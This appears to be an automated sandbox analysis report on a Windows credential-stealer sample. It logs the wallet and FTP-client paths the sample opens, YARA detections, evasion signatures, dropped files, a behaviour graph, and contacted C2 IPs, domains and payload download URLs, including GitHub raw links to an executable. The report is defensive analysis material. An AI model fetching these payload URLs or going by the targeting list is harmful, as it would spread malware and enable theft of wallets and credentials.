Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\ProgramData\SiteDesigner\3D-FTP
Tries to steal Crypto Currency Wallets
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Searches for user specific document files
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe Directory queried: C:\Users\user\Documents\CURQNKVOIX
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe Directory queried: C:\Users\user\Documents\CURQNKVOIX
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe Directory queried: C:\Users\user\Documents\ZTGJILHXQB
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe Directory queried: C:\Users\user\Documents\ZTGJILHXQB
Yara detected Credential Stealer
Source: Yara match File source: 0000003C.00000003.2719471481.0000000001511000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000003C.00000003.2714063342.0000000001509000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000003C.00000003.2636527012.000000000150B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: KbSwZup.exe PID: 5124, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected LummaC Stealer
Source: Yara match File source: Process Memory Space: KbSwZup.exe PID: 5124, type: MEMORYSTR
Source: Yara match File source: 63.2.949wScO.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 61.2.949wScO.exe.37e9550.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 19.0.DTQCxXZ.exe.f0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 19.2.DTQCxXZ.exe.f0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 63.2.949wScO.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 60.2.KbSwZup.exe.820000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000003F.00000002.2741635817.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000003C.00000002.2775753082.0000000000821000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match File source: 0000003D.00000002.2769905025.00000000037E9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000013.00000003.2494512701.000000000140A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe, type: DROPPED
Source: Yara match File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\DTQCxXZ[1].exe, type: DROPPED
Source: Yara match File source: sslproxydump.pcap, type: PCAP
windows-stand
Behavior
Click here to start
Slideshow Behavior Animation
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1613638 Sample: random.exe Startdate: 12/02/2025 Architecture: WINDOWS Score: 100 102 soulfulimusic.cyou 2->102 104 breedertremnd.com 2->104 106 5 other IPs or domains 2->106 130 Suricata IDS alerts for network traffic 2->130 132 Found malware configuration 2->132 134 Antivirus detection for URL or domain 2->134 136 13 other signatures 2->136 11 skotes.exe 1 49 2->11         started        16 random.exe 5 2->16         started        18 skotes.exe 2->18         started        signatures3 process4 dnsIp5 118 185.215.113.43, 49737, 49744, 49821 WHOLESALECONNECTIONSNL Portugal 11->118 120 185.215.113.16 WHOLESALECONNECTIONSNL Portugal 11->120 122 185.215.113.75, 49751, 49827, 49854 WHOLESALECONNECTIONSNL Portugal 11->122 90 C:\Users\user\AppData\...\6e88b14e1e.exe, PE32 11->90 dropped 92 C:\Users\user\AppData\Local\...\YzbWjqR.exe, PE32+ 11->92 dropped 94 C:\Users\user\AppData\Local\...\OvLh8V8.exe, PE32+ 11->94 dropped 100 18 other malicious files 11->100 dropped 158 Creates multiple autostart registry keys 11->158 160 Hides threads from debuggers 11->160 162 Tries to detect sandboxes / dynamic malware analysis system (registry check) 11->162 20 KbSwZup.exe 11->20         started        24 2aydDCz.exe 1 4 11->24         started        27 949wScO.exe 11->27         started        31 3 other processes 11->31 96 C:\Users\user\AppData\Local\...\skotes.exe, PE32 16->96 dropped 98 C:\Users\user\...\skotes.exe:Zone.Identifier, ASCII 16->98 dropped 164 Detected unpacking (changes PE section rights) 16->164 166 Tries to evade debugger and weak emulator (self modifying code) 16->166 168 Tries to detect virtualization through RDTSC time measurements 16->168 29 skotes.exe 16->29         started        170 Tries to detect process monitoring tools (Task Manager, Process Explorer etc.) 18->170 file6 signatures7 process8 dnsIp9 108 soulfulimusic.cyou 104.21.74.51 CLOUDFLARENETUS United States 20->108 138 Antivirus detection for dropped file 20->138 140 Multi AV Scanner detection for dropped file 20->140 142 Detected unpacking (changes PE section rights) 20->142 156 7 other signatures 20->156 80 C:\Users\user\AppData\Local\Temp\...\Loli.bat, DOS 24->80 dropped 82 C:\Users\user\AppData\Local\Temp\...\Lol.bat, DOS 24->82 dropped 144 Creates multiple autostart registry keys 24->144 33 cmd.exe 24->33         started        36 cmd.exe 1 24->36         started        146 Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines) 27->146 148 Injects a PE file into a foreign processes 27->148 38 949wScO.exe 27->38         started        150 Tries to evade debugger and weak emulator (self modifying code) 29->150 152 Hides threads from debuggers 29->152 154 Tries to detect sandboxes / dynamic malware analysis system (registry check) 29->154 110 lying0catto.ru 31.59.185.129, 49868, 9998 RASANAIR Iran (ISLAMIC Republic Of) 31->110 112 github.com 140.82.121.4 GITHUBUS United States 31->112 114 raw.githubusercontent.com 185.199.110.133 FASTLYUS Netherlands 31->114 84 C:\Users\user\AppData\...\pythiksdaw[1].exe, PE32+ 31->84 dropped 86 C:\QZXDK\pythiksdaw.exe, PE32+ 31->86 dropped 88 C:\ProgramData\IaobsEngine\IaobsEngine.exe, PE32+ 31->88 dropped 41 IaobsEngine.exe 31->41         started        43 conhost.exe 31->43         started        45 cmd.exe 31->45         started        47 12 other processes 31->47 file10 signatures11 process12 dnsIp13 124 Suspicious powershell command line found 33->124 49 doskey.exe 33->49         started        52 powershell.exe 33->52         started        54 conhost.exe 33->54         started        62 7 other processes 33->62 56 powershell.exe 12 36->56         started        58 conhost.exe 36->58         started        60 doskey.exe 1 36->60         started        64 7 other processes 36->64 116 importenptoc.com 188.114.97.3 CLOUDFLARENETUS European Union 38->116 126 Query firmware table information (likely to detect VMs) 38->126 signatures14 process15 signatures16 128 Found many strings related to Crypto-Wallets (likely being stolen) 49->128 66 cmd.exe 52->66         started        68 cmd.exe 56->68         started        process17 process18 70 conhost.exe 66->70         started        72 conhost.exe 68->72         started        74 doskey.exe 68->74         started        76 doskey.exe 68->76         started        78 5 other processes 68->78
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
185.215.113.43
 unknown Portugal
206894 WHOLESALECONNECTIONSNL true
185.215.113.75
 unknown Portugal
206894 WHOLESALECONNECTIONSNL false
104.21.74.51
 soulfulimusic.cyou United States
13335 CLOUDFLARENETUS true
188.114.97.3
 importenptoc.com European Union
13335 CLOUDFLARENETUS false
31.59.185.129
 lying0catto.ru Iran (ISLAMIC Republic Of)
31549 RASANAIR false
185.215.113.16
 unknown Portugal
206894 WHOLESALECONNECTIONSNL false
140.82.121.4
 github.com United States
36459 GITHUBUS false
185.199.110.133
 raw.githubusercontent.com Netherlands
54113 FASTLYUS false

Contacted Domains

Name IP Active
lying0catto.ru 31.59.185.129 true
breedertremnd.com 104.21.48.1 true
soulfulimusic.cyou 104.21.74.51 true
github.com 140.82.121.4 true
raw.githubusercontent.com 185.199.110.133 true
importenptoc.com 188.114.97.3 true
modernakdventure.cyou unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
inputrreparnt.com false
    		high
    http://185.215.113.16/mine/random.exe false
      		high
      voicesharped.com false
        		high
        http://185.215.113.43/Zu7JuNko/index.php false
          		high
          https://soulfulimusic.cyou/api true
          • Avira URL Cloud: malware
          		 unknown
          garulouscuto.com false
            		high
            https://github.com/temperloin/Figvam/raw/refs/heads/main/pythiksdaw.exe false
              		high
              rebeldettern.com false
                		high
                torpdidebar.com false
                  		high
                  actiothreaz.com false
                    		high
                    https://importenptoc.com/api false
                      		high
                      breedertremnd.com false
                        		high
                        https://raw.githubusercontent.com/temperloin/Figvam/refs/heads/main/pythiksdaw.exe false
                          		high
                          soulfulimusic.cyou true
                          • Avira URL Cloud: malware
                          		 unknown
                          importenptoc.com false
                            		high